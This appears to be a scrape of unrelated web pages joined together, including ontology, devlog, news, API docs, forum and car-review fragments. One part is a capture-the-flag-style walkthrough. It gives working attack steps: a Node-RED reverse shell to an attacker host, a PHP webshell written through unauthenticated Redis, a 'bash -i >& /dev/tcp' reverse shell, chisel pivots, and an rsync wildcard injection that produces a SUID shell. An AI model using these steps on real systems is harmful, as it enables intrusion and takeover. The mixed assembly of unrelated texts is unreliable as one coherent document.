http://nmrML.org/nmrCV#NMR:1400194
Annotations (2)
-
comment "def: Over the past few years there has been a significantly growing demand for miniaturization in all areas ofmodern research and development. Evoked by many exciting applications, there is a need for analytical methods which require less amounts of sample. Bruker BioSpin meets this challenge with a revolutionary NMR probe design: The 1mm MicroProbe. It operates with disposable 1mm capillary sample tubes and the sample volume of 5 microliters enables the use of lowest amounts of sample to run all high resolution NMR experiments with outstanding sensitivity and up to 16 times faster measurements. Due to the TXI-type probe design, the z-gradient coil and the automatic matching and tuning accessory, the 1mm MicroProbe can be used for a wide variety of NMR experiments. The key advantages of this probe include:
up to 4 times higher mass sensitivity than 5mm conventional probes (with respect to the same sample amount)
excellent solvent suppression properties
virtually no salt effect
discrete samples in tubes that can be sealed and stored
automation accessory for sample preparation and handling available
defprov: Bruker website" (string)
-
label "1mm MicroProbe" (string)
Superclasses (1)
Usage (1)


If you want to see all the different development logs of the game, check the links bellow!
Check all the playtesting feedback that we got from over 30 students for different prototypes:
Click here to see the code of the game!
Don't forget to check out COVID CRASHER final presentation that the team presented on demo-day!
Our team worked really well together. We mostly stuck to a particular role but we all contributed to multiple parts in the development process. One thing our team did really well was communicating what needed to be done and following through on it consistently. We knew our limits and allocated the appropriate amount of work we could achieve for that week. For example, we met to discuss what needed to be done for our last sprint before the presentation. We had a few UI and gameplay bugs in our game that needed to be fixed, as well as significant enemy/spawning balancing issues, incomplete boss features, and we needed to organize information for the presentation. We allocated work to each group member responsibly and managed to complete each task successfully and on time.
If we had another two weeks to work on our game, our highest three priorities would be to balance the enemy spawning more in the third level, create a tutorial explaining the store items, and create new enemy types for the player to fight. Completing these three tasks would improve the gameplay experience in level 3, communicate more information to the player about what each item does so they feel confident in buying them, and make more varied encounters throughout the levels. However, none of these priorities listed are necessary for the game to be complete. As COVID CRASHER stands, it is a complete game with fun gameplay and interesting story and environment setting.
Here are all the references for the different resources that we used:
Game Scripts:
How To Make A 2d Character Controller In Unity - Easy Tutorial ● Shooting/Follow/Retreat ● Enemy Ai With Unity And C# - Easy Tutorial● Deriving and angle from two points● Get coordinate with angle and distance● Make sprite look at vector2 in Unity 2D? ● Unity Playground● Shooting/Follow/Retreat Enemy Ai With Unity And C# - Easy Tutorial● How to make AWESOME Scene Transitions in Unity!● Referencing non static variables from another script? C#● How To Make A 2d Character Controller In Unity - Easy Tutorial ● How To Change Scenes With A Trigger In C# Unity Tutorial● How to make a Minimap in Unity ● Make a Player Model Rotate towards Mouse Location ● Creating a Shop - Dynamic [Tutorial][C#] - Unity tutorial 2019 ● Start Menu In Unity ● Unity 3d C# Scripting Camera Shake
Assets:
A* Pathfinding Project ● Jiggly Bubble Free | Environment ● Free Pixel Font - Thaleah | 2D Fonts
Website:
Scrolling Nav - One Page Scrolling Bootstrap Template ● Bootstrap Lightbox ● Bootstrap ● jQuery


We want all attendees to have an enjoyable and fulfilling experience. Accordingly, all attendees are expected to show respect and courtesy to other attendees throughout the event series in-game and on Discord.
To make clear what is expected, all staff and attendees are required to conform to the following Code of Conduct. Organizers will enforce this code throughout the event.
TEPCOTT is dedicated to providing a positive experience for everyone, regardless of age, ethnicity, nationality, gender, sexual orientation, disability, race, or religion (or lack thereof), education, or socio-economic status.
Participants asked to stop any inappropriate behavior are expected to comply immediately.
If a participant engages in behavior that violates this code of conduct, the organizers may take any action they deem appropriate, including warning the offender or expulsion from the Discord server and the event.
Thank you for helping make this a welcoming, friendly event for all.


Nothing but an error page on 1880, but the tab has an icon
Browse to favicon.ico and reverse image search to see it's Node-Red
A POST request will give information about the /red/<ID> and you can browse directly to /red/<ID> to see the flow
Let's create a new flow:
TCP input -> connect to port 4444 at <IP_ADDRESS> (attacker) ->
exec ->
TCP output -> connect to reply
and we get a connection with nc. Make sure to connect all flows from exec to TCP output (there should be three nodes on exec, one for STDIN, STDOUT, STDERR).
Trying to transfer files, the /dev/tcp function is only available in bash, but we land in a dash shell. Transfer files with
/bin/bash -c "cat < /dev/tcp/<LHOST>/<LPORT> > file"
Pingscan
for ip in $(seq 1 5); do ping -c 1 172.18.0.$ip > /dev/null && echo "Online: 172.18.0.$ip"; done
Portscan
for port in 22 25 80 443 8080 8443; do (echo PleaseSubscribe > /dev/tcp/<RHOST>/$port > /dev/null && echo "open - $port") 2> /dev/null; done
We see port 80 is open on <IP_ADDRESS>, let's see what's there:
Kali# ./chisel server -p 8000 -reverse -v
Node# ./chisel client <Kali>:8000 R:<IP_ADDRESS>:8001:<IP_ADDRESS>:80
By specifying <IP_ADDRESS>:8001, we are saying to only listen on localhost and not on <IP_ADDRESS> (network any)
Kali#: curl <IP_ADDRESS>:80
Yay!
Webpage notes that there is a shared folder with the web and database containers and a database backup function. Running a portscan shows port 6379 open on <IP_ADDRESS>. Let's get at it.
Node# ./chisel client <Kali>:8000 R:<IP_ADDRESS>:6379:<IP_ADDRESS>:6379
6379: Redis key store
Happens to have an RCE
Kali# nc localhost 6379
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
Curiously, the database function in the webpage, ajax.php?test= is a direct connection to Redis. So this is an option instead of forwarding the Redis port.
Redis has the ability to execute PHP code.
Kali# flushall
+OK
set PleaseSubscribe "<? system($_REQUEST['ippsec']); ?>"
+OK
config set dbfilename ippsec.php
+OK
config set dir /var/www/html/
+OK
save
+OK
and now we can browse to:
localhost:8001/ippsec.php?ippsec=whoami
we can get code exec! and now just spawn a shell into the database container (not easy though because the database cannot connect all the way back to Kali). Set up a local pivot
Node# ./chisel client <Kali>:8000 9002:<IP_ADDRESS>:8002
Kali# nc -lvnp 8002
Redis# bash -c "bash -i >& /dev/tcp/<Node>/9002 0>&1"
Kali# shell!
Wildcard injection with backup.sh with rsync
backup.sh
rsync -a *.rdb rsync://backup:873/src/rdb/
PleaseSubscribe.rdb
#!/bin/sh
cp /bin/dash /tmp/privesc
chmod 4755 /tmp/privesc
touch -- '-e "sh PleaseSubscribe.rdb"'
/tmp/privesc -p
And we can now read user.txt in /home/somaro
But what is really interesting...rsync is being run without a password to the backup server!
Pivoting magic to get onto backup


Devastated parents moved by touching shrine set up by friends of dead teenage son
Morgan Symcox's friends have transformed a bench at Wolstanton Marsh into a shrine to the teenager whose cause of death remains a mystery
by Richard AultThe parents of an 18-year-old who suddenly died have said how moved they are by the actions of his friends.
Relatives of Morgan Symcox have been "overwhelmed" by the support they have received from the teenager’s friends since he ‘fell asleep’ earlier this month.
They have transformed a bench into a stunning shrine in his memory, reports Stoke-on-Trent Live .
It has been covered with dozens of bouquets of flowers, balloons, photographs and messages to Morgan who used to attend Alpha School, in Hanley.
His friends have also been keeping a vigil at the site.
Now the friends want to raise money for a plaque and a second bench – which Morgan always said he wanted so friends could sit opposite each other and chat.
Dad Damon Symcox, 42, said: "We go to the bench because that’s where he was happiest. He loved his mates.
"Sometimes I’d say, ‘can’t you stay in tonight’. I didn’t understand why he always wanted to go to the bench, but I understand it now.
"You realise that his mates care about him as much as we do.
"I have been to the bench every day, it feels closer to him.
"Whenever you go there’s always someone there, it’s amazing.
"When you read that someone has passed away in the paper, everyone says that they were the heart and soul, but Morgan really was.
"If you met Morgan for five minutes, then six-months later you would still remember him.
"You don’t realise how popular someone is until you lose them."
Mum Liz, 42, said: "Morgan was a very popular lad,
"We are living in hell, but his friends lost him too and they have made that lovely bench.
"It has been their meeting point since they were about 13.
"They must have put about 40 or 50 bouquets of flowers, and 60 or 70 photographs.
"Morgan loved going out and socialising, everything was about his friends.
"His friends have done a memory box which they are going to bury. They want to pay for a plaque on the bench.
"When we go to the bench and see his friends and cry and give them a hug they hug you back.
"They will never know how much it means to us."
Morgan was found pronounced dead in the bedroom of the family's May Bank home on Saturday, November 2.
The exact cause of his death is still not known.
Liz added: "He just fell asleep.
"Morgan was about to start an apprenticeship as a plumber.
"We are a really close family. Earlier this year we went on holiday for five days in Poland, then we went to Turkey for two weeks."
Morgan had two sisters - Keely, 23, and three-year-old Annie - who he doted on.
Keely said: "He loved documentaries and history. He knew everything worth knowing. He loved tanning and sun beds, he loved his food and designer clothes.

"He was my best friend. He was lovable and funny, he would make anyone laugh, and he was very loyal.
"All his friends say they are living in Morgan’s world. Everything they do now, they say it’s for Morgan’s world. That’s their way of coping.
"When we go to the bench and see his friends there’s no awkwardness, it’s like we are all together."
Morgan’s girlfriend, Lily Mason, 17, of Chesterton, said: "He would have done anything for those close to him.
"He faced every single day with a smile on his face. He was so intelligent and funny.
"I will never meet a more generous and lovely person. He was so loved by everyone around him.
"He was one in a million."
Friend Dionne Dale, 18, of May Bank, said: “Anyone who knew Morg will know that he was the most positive, funny, wildest person to ever walk this Earth.
"He never let anything faze him and always found a bright side to every situation."


Introduction
This part implements classes and functions that fit CosanData
into linear models. In 1.0 version, we offer linear models of different variants (Linear Regression, Ridge Regression, Principal Component Regression and Principal Component Regression with L2 square norm penalty).
CosanModel
The base class for all the models that Cosan implements. \ 3 problem types are defined: binary classification, univariate regression, or no type. \ 4 model types are defined: linear regression, ridge regression, principal component regression, principal component regression with L2 square norm penalty,or none.
CosanLinearModel
A base class for all linear models including linear regression, ridge regression, principal component regression.
CosanLinearRegression
A class for [linear Regression model]().
CosanRidgeRegression
A class for Ridge Regression model.
CosanLasso
A class for Lasso Regression model.
CosanPCR
A class for [principle component regression]()
CosanPCRRidge
A class for [principle component ridge regression]()
Structure
CosanModel
Class & static functions related to it:\
CosanLinearModel
: child class
CosanLinearRegression
: grandchild class
CosanRidgeRegression
: grandchild class
CosanLasso
: grandchild class
CosanBO
: parent class
Location: cosan\model\CosanModel.h
pseudocode design:
class CosanModel: extends CosanBO
protected attributes:
double MaxTrainTime
EsolverType SolverType
public functions:
default constructor:
set the maxtraintime to 1 hr
setMaxTrainTime():
double GetMaxTrainTime():
EModelType GetModelType():
EProblemType GetProblemType():
ESolverType GetSolverType():
SetSolverType()
The EModelType
, EProblemType
, ESolverType
are all defined in enum
classes.
CosanLinearModel
Classes & static functions related to it:\
CosanModel
CosanData
: input to some member function
Location: cosan\model\CosanLinearModel.h
Pseudocode design: TODO
class CosanLinearModel: extends CosanModel
protected attributes:
CosanMatrix<NumericType> MBeta: the parameters in a linear equation aX+c = Y
bool MBias
public functions:
default constructor: deleted
constructor(bool bias): create a linear model object and use this parameter to initialize MBias
SetBias:
GetBias:
SetBeta:
GetBeta:
virtual CosanMatrix<NumericType> predict(onst CosanMatrix<NumericType>& X):
to be implemented in child class.
but idea is to predict labels using features in X.
GetName: return the name of this model
private functions:
Init(): initialize an empty object
CosanLinearRegression
classes & static function related to it:\
CosanModel
: grandparent class
CosanLinearModel
: parent class
CosanData
: input to some member function
Location: cosan\model\CosanLinearRegression.h
Pseudocode design: TODO
class CosanLinearRegression: extends CosanLinearModel
protected attributes:
double MaxTrainTime: inherited from CosanModel
EsolverType SolverType: inherited from CosanModel
CosanMatrix<NumericType> MBeta: inherited from CosanLinearModel
bool MBias: inherited from CosanLinearModel
public functions:
default constructor: set MBias to be true
constructor1(bool bias): set MBias to bias
constructor2(CosanMatrix<NumericType>& X,const CosanMatrix<NumericType>& Y,bool Bias):
set MBias to bias, and fit X and Y to the model
EProblemType GetProblemType(): override base class
ESolverType GetSolverType(): overrise base class
string GetName(): override CosanlienarModel
void fit(T&& X,const CosanMatrix<NumericType>& Y): calculate the MBeta through the training data set and generate a trained model
CosanMatrix<NumericType> predict(const CosanMatrix<NumericType>& X): feed testing features to a trained model to obtain predicted labels
CosanRidgeRegression
classes & static function related to it:\
CosanModel
: great grandparent class
CosanLinearModel
: grandparent class
CosanLinearRegressionModel
: parent class
CosanData
: input to some member function
Location: cosan\model\CosanRidgeRegression.h
Pseudocode design: TODO
class CosanRidgeRegression: extends CosanLinear Regression
private attributes:
NumericType MLambda
protected attributes:
double MaxTrainTime: inherited from CosanModel
EsolverType SolverType: inherited from CosanModel
CosanMatrix<NumericType> MBeta: inherited from CosanLinearModel
bool MBias: inherited from CosanLinearModel
public functions:
default constructor: deleted
constructor1(NumericType Lambda): set MBias to be true and set MLambda to be Lambda
constructor2(NumericType Lambda,bool Bias): set MBias to be bias and set MLambda to be Lambda
constructor2(CosanMatrix<NumericType>& X,const CosanMatrix<NumericType>& Y,NumericType Lambda, bool Bias):
set MBias to bias, MLambda to be Lambda, and fit X and Y to the model
void SetParams(NumericType Lambda):
double GetParams(NumericType Lambda):
EModelType GetModelType(): overrise base class
string GetName(): override CosanlienarModel
void fit(T&& X,const CosanMatrix<NumericType>& Y): override parent's fit function
CosanMatrix<NumericType> predict(const CosanMatrix<NumericType>& X): inherited from parent


Environmental
Phase I, II, and III Studies.
- Phase I – Survey of site conditions; review existing documents and inspection of the
property
- Phase II – Testing of environmental site conditions. Determine existence of any regulated
substances or suspicious conditions
- Phase III- Remediation of certain environmental conditions or objectionable substances.
- After Phase III a “No further action letter” is the goal.
Certifications:
- U.S. Green Building Council – Leadership in Energy and Environmental Design (LEED)
- Green Globes
- Energy Star
- Building Owners and Managers Association - BOMA360
- Local/Regional Ordinances
Surface conditions to consider: wetlands, rivers, abandoned mines, grave yards, geological
formations.
- Atmospheric examples:
- Sunlight, heat
- Wind
- Air pollution
- Surface examples:
- Flood Plains
- Wetlands
- Forestation
- Subsurface examples:
- Water level or water table
- Soil Compaction
- Geological Strata
Historic and Cultural: research title and survey history.
- Are there historic events, cultural traditions, or religious considerations that can affect the
development of the site?
- Some resources for this research include:
- Local historians
- Anthropologists
- Neighborhood activist groups
- Property archives and records


{% extends "_base.html" %}
{% load static %}
{% block content %}
Loan Listing
Add new
| loanid | {{ object.loanid }} |
| Series | {{object.series}} |
| Customer | {{ object.customer }} |
| created | {{ object.created }} |
| last_updated | {{ object.last_updated }} |
| itemtype | {{ object.itemtype }} |
| itemdesc | {{ object.itemdesc }} |
| itemweight | {{ object.itemweight }} |
| itemvalue | {{ object.itemvalue }} |
| loanamount | {{ object.loanamount }} |
| interestrate | {{ object.interestrate }} |
| interest | {{ object.interest }} |
{% if loan.release %}
| Release Id |
Release Date |
Amount |
Interest |
| {{loan.release.releaseid}} |
{{loan.release.created}} |
{{loan.release.total_received}} |
{{loan.release.interestpaid}} |
{%endif%}
{%if previous%}
Previous {{previous.loanid}}
{%endif%}
{%if next %}
Next {{next.loanid}}
{%endif%}
{% endblock %}


Travelling is the part of my life.i have been to lot of places in srilanka and one or two other countries.it s been like that for a number of dates and enoyed the nature.One day going around the world.
Cricket is the most populur sport in SriLanka.I played school and high school and University Cricket Team. Since 2011 I primiar leauge level as a club member in division II .Not as a hobby cricket is part of my life.


In an attempt to try to figure out if hour by hour debiting of our electricity would make sense, I would like to export kWh usage per hour, to crunch some numbers in something like Excel (eww).
Has anyone done this before?
Archived Forum |
|
Export kWh hourly statistics?Submitted by Guest on Tue, 01/10/2013 - 09:58In an attempt to try to figure out if hour by hour debiting of our electricity would make sense, I would like to export kWh usage per hour, to crunch some numbers in something like Excel (eww). Has anyone done this before? » |
Re: Export kWh hourly statistics?
Hello,
Please could you explain your question and reasoning in a little more detail? Whilst I monitor this board very frequently I'm not one of the experts; there are far more knowledgeable members than me but I was interested in your question.
The reason I responded is that I am in the process of having a 22kWp (~7kWp South & ~15kWp West) solar panel & two inverter system installed on my UK commercial office building. The 15kWp system was switched on late on Friday and as you might expect the bulk of our electricity consumption, c200 - 250kWh per 24hr day, Mon - Friday, 0830 - 1800hrs at two rate; day & night.
I can see from our half-hourly weekend consumption that already some of those half-hours were down to zero and we were almost certainly exporting electricity - something I had anticipated but don't wish to do as we can hopefully use it to pre-heat two 6kW immersion heaters for our toilet hand-washing hot water, amongst a couple of other possibilities.
As it happens, as well as the essential mandatory generation meter we are having a self-imposed export meter (system >30kWp in the UK must have an export meter) installed as part of the project so that I can accurately report to one tenant who has 25% of the building and pays that percentage towards the overall building's electricity bill. The other tenants have the electricity wrapped up in their rent as we're a business centre operation. There is no sub-metering.
I am planning to build the solar PV diverter / router described in much excellent detail elsewhere on this site and forum. I have already built the EmonTx for a similar system at home where I have a ~4kWp solar system.
Regards,
Steve
Re: Export kWh hourly statistics?
In Sweden, we are able to get our electricity bill based on an hourly spot price from Nord Pool (http://www.nordpoolspot.com/Market-data1/Elspot/Area-Prices/ALL1/Hourly/). This isn't about solar power at all.
Normally, we're billed monthly based on an average spot price, but I would like to run our real consumption against the fluctuating prices to see if it would be cheaper for our consumption or not.
AFAIK, EmonCMS only stores daily kWh data, therefore I'd need to extract it from the power table instead, this is what I would need help with. (I want to to this for old data, so adding new input filtering won't help). I'm pretty sure though that the raw pulses are stored as well (the pulses difference process doesn't clean up after itself), maybe that would be easiest to use.
Any SQL ninjas out there? :) (no I haven't migrated my setup to Timestore yet)
Re: Export kWh hourly statistics?
Here we go, this seems to do the trick. feed_14 is a table with all raw pulse counts.


Markdown is a way to style text on the web. You control the display of the document; formatting words as bold or italic, adding images, and creating lists are just a few of the things we can do with Markdown. Mostly, Markdown is just regular text with a few non-alphabetic characters thrown in, like # or *.
You can use Markdown most places around GitHub:
Gists
Comments in Issues and Pull Requests
Files with the .md or .markdown extension
For more information, see "Writng on GitHub"in the GitHub Help
Here’s an overview of Markdown syntax that you can use anywhere on GitHub.com or in your own text files.
Headers
# This is an tag
## This is an tag
###### This is an tag
Emphasis
*This text will be italic*
_This will also be italic_
**This text will be bold**
__This will also be bold__
_You **can** combine them_
Lists
Unordered
* Item 1
* Item 2
* Item 2a
* Item 2b
Ordered
1. Item 1
1. Item 2
1. Item 3
1. Item 3a
1. Item 3b
Images
![GitHub Logo](/images/logo.png)
Format: ![Alt Text](url)
Links
http://github.com - automatic!
[GitHub](http://github.com)
Blockquotes
As Kanye West said:
> We're living the future so
> the present is our past.
GitHub.com uses its own version of the Markdown syntax that provides an additional set of useful features, many of which make it easier to work with content on GitHub.com.
Note that some features of GitHub Flavored Markdown are only available in the descriptions and comments of Issues and Pull Requests. These include @mentions as well as references to SHA-1 hashes, Issues, and Pull Requests. Task Lists are also available in Gist comments and in Gist Markdown files.


Library: Util
Package: Timer
Header: Poco/Util/Timer.h
Description
A Timer allows to schedule tasks (TimerTask objects) for future execution in a background thread. Tasks may be scheduled for one-time execution, or for repeated execution at regular intervals.
The Timer object creates a thread that executes all scheduled tasks sequentially. Therefore, tasks should complete their work as quickly as possible, otherwise subsequent tasks may be delayed.
Timer is save for multithreaded use - multiple threads can schedule new tasks simultaneously.
Acknowledgement: The interface of this class has been inspired by the java.util.Timer class from Java 1.3.
Inheritance
Direct Base Classes: Poco::Runnable
All Base Classes: Poco::Runnable
Member Summary
Member Functions: cancel, run, schedule, scheduleAtFixedRate, validateTask
Inherited Functions: run
Constructors
Timer
Timer();
Creates the Timer.
Timer
explicit Timer(
Poco::Thread::Priority priority
);
Creates the Timer, using a timer thread with the given priority.
Destructor
~Timer
~Timer();
Destroys the Timer, cancelling all pending tasks.
Member Functions
cancel
void cancel(
bool wait = false
);
Cancels all pending tasks.
If a task is currently running, it is allowed to finish.
Task cancellation is done asynchronously. If wait is false, cancel() returns immediately and the task queue will be purged as soon as the currently running task finishes. If wait is true, waits until the queue has been purged.
schedule
void schedule(
TimerTask::Ptr pTask,
Poco::Timestamp time
);
Schedules a task for execution at the specified time.
If the time lies in the past, the task is executed immediately.
Note: the relative time the task will be executed won't change if the system's time changes. If the given time is 10 seconds in the future at the point schedule() is called, the task will be executed 10 seconds later, even if the system time changes in between.
schedule
void schedule(
TimerTask::Ptr pTask,
Poco::Clock clock
);
Schedules a task for execution at the specified time.
If the time lies in the past, the task is executed immediately.
schedule
void schedule(
TimerTask::Ptr pTask,
long delay,
long interval
);
Schedules a task for periodic execution.
The task is first executed after the given delay. Subsequently, the task is executed periodically with the given interval in milliseconds between invocations.
schedule
void schedule(
TimerTask::Ptr pTask,
Poco::Timestamp time,
long interval
);
Schedules a task for periodic execution.
The task is first executed at the given time. Subsequently, the task is executed periodically with the given interval in milliseconds between invocations.
Note: the relative time the task will be executed won't change if the system's time changes. If the given time is 10 seconds in the future at the point schedule() is called, the task will be executed 10 seconds later, even if the system time changes in between.
schedule
void schedule(
TimerTask::Ptr pTask,
Poco::Clock clock,
long interval
);
Schedules a task for periodic execution.
The task is first executed at the given time. Subsequently, the task is executed periodically with the given interval in milliseconds between invocations.
scheduleAtFixedRate
void scheduleAtFixedRate(
TimerTask::Ptr pTask,
long delay,
long interval
);
Schedules a task for periodic execution at a fixed rate.
The task is first executed after the given delay. Subsequently, the task is executed periodically every number of milliseconds specified by interval.
If task execution takes longer than the given interval, further executions are delayed.
scheduleAtFixedRate
void scheduleAtFixedRate(
TimerTask::Ptr pTask,
Poco::Timestamp time,
long interval
);
Schedules a task for periodic execution at a fixed rate.
The task is first executed at the given time. Subsequently, the task is executed periodically every number of milliseconds specified by interval.
If task execution takes longer than the given interval, further executions are delayed.
Note: the relative time the task will be executed won't change if the system's time changes. If the given time is 10 seconds in the future at the point scheduleAtFixedRate() is called, the task will be executed 10 seconds later, even if the system time changes in between.
scheduleAtFixedRate
void scheduleAtFixedRate(
TimerTask::Ptr pTask,
Poco::Clock clock,
long interval
);
Schedules a task for periodic execution at a fixed rate.
The task is first executed at the given time. Subsequently, the task is executed periodically every number of milliseconds specified by interval.
If task execution takes longer than the given interval, further executions are delayed.
run
void run();
See also: Poco::Runnable::run()
validateTask
static void validateTask(
const TimerTask::Ptr & pTask
);


go to route with many guards
go to route with a single guard
CONTENT INSIDE MULTIPLE ROUTE GUARDS
CONTENT INSIDE SINGLE ROUTE GUARD


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Identifier Index
[
A
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F
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I
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K
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N
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R
S
T
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_
]
I
id
(in
SBBreakpoint
)
IsClassCode()
(in
SBTypeSynthetic
)
IsValid()
(in
SBCommunication
)
id
(in
SBProcess
)
IsConnected()
(in
SBCommunication
)
IsValid()
(in
SBCompileUnit
)
id
(in
SBThread
)
IsDone()
(in
SBInputReader
)
IsValid()
(in
SBData
)
idx
(in
SBFrame
)
IsDynamic()
(in
SBValue
)
IsValid()
(in
SBDebugger
)
idx
(in
SBThread
)
IsEnabled()
(in
SBBreakpoint
)
IsValid()
(in
SBDeclaration
)
Image
(in
lldb.utils.symbolication
)
IsEnabled()
(in
SBBreakpointLocation
)
IsValid()
(in
SBError
)
in_range()
(in
lldb
)
IsEnabled()
(in
SBWatchpoint
)
IsValid()
(in
SBEvent
)
increment_node()
(in
StdMapSynthProvider
)
IsEqual()
(in
SBFrame
)
IsValid()
(in
SBFileSpec
)
increment_node()
(in
stdlist_iterator
)
IsEqualTo()
(in
SBTypeFilter
)
IsValid()
(in
SBFrame
)
increment_node()
(in
stdmap_iterator
)
IsEqualTo()
(in
SBTypeFormat
)
IsValid()
(in
SBFunction
)
Initialize()
(in
SBDebugger
)
IsEqualTo()
(in
SBTypeNameSpecifier
)
IsValid()
(in
SBInputReader
)
Initialize()
(in
SBInputReader
)
IsEqualTo()
(in
SBTypeSummary
)
IsValid()
(in
SBInstruction
)
inlined_block
(in
SBBlock
)
IsEqualTo()
(in
SBTypeSynthetic
)
IsValid()
(in
SBInstructionList
)
InputReaderIsTopReader()
(in
SBDebugger
)
IsExternal()
(in
SBSymbol
)
IsValid()
(in
SBLineEntry
)
instructions
(in
SBFunction
)
IsFunctionCode()
(in
SBTypeSummary
)
IsValid()
(in
SBListener
)
instructions
(in
SBSymbol
)
IsFunctionName()
(in
SBTypeSummary
)
IsValid()
(in
SBModule
)
interact()
(in
SimpleREPL
)
IsFunctionType()
(in
SBType
)
IsValid()
(in
SBModuleSpec
)
is_alive
(in
SBProcess
)
IsInlined()
(in
SBBlock
)
IsValid()
(in
SBProcess
)
is_bitfield
(in
SBTypeMember
)
IsInlined()
(in
SBFrame
)
IsValid()
(in
SBSection
)
is_branch
(in
SBInstruction
)
IsInScope()
(in
SBValue
)
IsValid()
(in
SBStream
)
is_complete
(in
SBType
)
IsInternal()
(in
SBBreakpoint
)
IsValid()
(in
SBStringList
)
is_function_name
(in
SBTypeSummary
)
IsOneShot()
(in
SBBreakpoint
)
IsValid()
(in
SBSymbol
)
is_in_scope
(in
SBValue
)
IsPointerType()
(in
SBType
)
IsValid()
(in
SBSymbolContext
)
is_inlined
(in
SBFrame
)
IsPolymorphicClass()
(in
SBType
)
IsValid()
(in
SBSymbolContextList
)
is_inlined()
(in
Address
)
IsReferenceType()
(in
SBType
)
IsValid()
(in
SBTarget
)
is_null
(in
stdlist_entry
)
IsRegex()
(in
SBTypeNameSpecifier
)
IsValid()
(in
SBThread
)
is_null
(in
stdmap_iterator_node
)
IsResolved()
(in
SBBreakpointLocation
)
IsValid()
(in
SBType
)
is_pointer
(in
SBType
)
IsStopped()
(in
SBThread
)
IsValid()
(in
SBTypeCategory
)
is_reference
(in
SBType
)
IsSummaryString()
(in
SBTypeSummary
)
IsValid()
(in
SBTypeFilter
)
is_regex
(in
SBTypeNameSpecifier
)
IsSuspended()
(in
SBThread
)
IsValid()
(in
SBTypeFormat
)
is_running
(in
SBProcess
)
IsSynthetic()
(in
SBSymbol
)
IsValid()
(in
SBTypeList
)
is_short_string()
(in
lldb.formatters.cpp.libcxx
)
IsSynthetic()
(in
SBValue
)
IsValid()
(in
SBTypeMember
)
is_stopped
(in
SBProcess
)
IsTypeComplete()
(in
SBType
)
IsValid()
(in
SBTypeNameSpecifier
)
is_stopped
(in
SBThread
)
IsValid()
(in
SBAddress
)
IsValid()
(in
SBTypeSummary
)
is_summary_string
(in
SBTypeSummary
)
IsValid()
(in
SBBlock
)
IsValid()
(in
SBTypeSynthetic
)
is_suspended
(in
SBThread
)
IsValid()
(in
SBBreakpoint
)
IsValid()
(in
SBValue
)
is_valid()
(in
StdListSynthProvider
)
IsValid()
(in
SBBreakpointLocation
)
IsValid()
(in
SBValueList
)
is_valid_pointer()
(in
StdVectorSynthProvider
)
IsValid()
(in
SBBroadcaster
)
IsValid()
(in
SBWatchpoint
)
IsActive()
(in
SBInputReader
)
IsValid()
(in
SBCommandInterpreter
)
IsBitfield()
(in
SBTypeMember
)
IsValid()
(in
SBCommandReturnObject
)
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LLDB python API
Generated by Epydoc 3.0.1 on Fri Jul 19 13:22:32 2013
http://epydoc.sourceforge.net


Language
public enum Language : UInt8
Language Type
-
English
Declaration
Swift
case english = 0
-
French
Declaration
Swift
case french = 1
-
Italian
Declaration
Swift
case italian = 2
-
German
Declaration
Swift
case german = 3
-
Spanish
Declaration
Swift
case spanish = 4
-
Croatian
Declaration
Swift
case croatian = 5
-
Czech
Declaration
Swift
case czech = 6
-
Danish
Declaration
Swift
case danish = 7
-
Dutch
Declaration
Swift
case dutch = 8
-
Finnish
Declaration
Swift
case finnish = 9
-
Greek
Declaration
Swift
case greek = 10
-
Hungarian
Declaration
Swift
case hungarian = 11
-
Norwegian
Declaration
Swift
case norwegian = 12
-
Polish
Declaration
Swift
case polish = 13
-
Portuguese
Declaration
Swift
case portuguese = 14
-
Slovakian
Declaration
Swift
case slovakian = 15
-
Slovenian
Declaration
Swift
case slovenian = 16
-
Swedish
Declaration
Swift
case swedish = 17
-
Russian
Declaration
Swift
case russian = 18
-
Turkish
Declaration
Swift
case turkish = 19
-
Latvian
Declaration
Swift
case latvian = 20
-
Ukrainian
Declaration
Swift
case ukrainian = 21
-
Arabic
Declaration
Swift
case arabic = 22
-
Farsi
Declaration
Swift
case farsi = 23
-
Bulgarian
Declaration
Swift
case bulgarian = 24
-
Romanian
Declaration
Swift
case romanian = 25
-
Chinese
Declaration
Swift
case chinese = 26
-
Japanese
Declaration
Swift
case japanese = 27
-
Korean
Declaration
Swift
case korean = 28
-
Taiwanese
Declaration
Swift
case taiwanese = 29
-
Thai
Declaration
Swift
case thai = 30
-
Hebrew
Declaration
Swift
case hebrew = 31
-
Brazilian Portuguese
Declaration
Swift
case brazilianPortuguese = 32
-
Indonesian
Declaration
Swift
case indonesian = 33
-
Malaysian
Declaration
Swift
case malaysian = 34
-
Vietnamese
Declaration
Swift
case vietnamese = 35
-
Burmese
Declaration
Swift
case burmese = 36
-
Mongolian
Declaration
Swift
case mongolian = 37
-
Custom
Declaration
Swift
case custom = 254
-
Invalid
Declaration
Swift
case invalid = 255


Click to zoom
Code adapted from various examples:
Mike Bostock's Threshold Choropleth
Mike Bostock's Threshold Key
Leaflet's Interactive Choropleth Map
The geographic mapping comes from the simplified version of OpenStreetMap's delimiting of french cities as of January 1st 2015. This mapping is available here. This mapping was simplified using MapShaper to reduce the size of the geoJSON file.
The unemployment rate values come from INSEE's 2013 census information.


2020 BMW X6 Video Tour Focuses On M Performance Parts
Fancy carbon bits and tiny touches.
by Nico YlananBMW's recent lineup of Sport Activity Vehicles (That's BMW nomenclature for you) have certainly been a bit bolder in design. From the huge and imposing X7 to the nicely sized X3, the X4 and X6 have always been a slightly odd member of the X family, bing pretty fashion forward and unapologetically riding the line between a huge four-door "coupe" and high riding crossover. What's more, if in your eyes the X4 and X6 needed a little bit more sprucing up, BMW's M Performance line has a few items to help it stand out just a tiny bit more.
Gallery: BMW M Performance Parts for X5 M, X6, X6 M, X7
In a short video tour by the guys over at BMW Blog, they were able to have some quiet time with a Riverside Blue BMW X6 M50d at what looks like to be a press event. Going through some of the highlights, the X6 in question was put on display to showcase what kind of M Performance parts can be had with your Sport Activity Vehicle. First thing you'll notice is that the kidney grille hasn't just been blacked-out; it's been completely replaced by a one-piece carbon fiber piece. It looks pretty mean, and, to be honest, might just make bigger iterations of the grille more bearable. Maybe.
The BMW X6 Loves All The Attention:
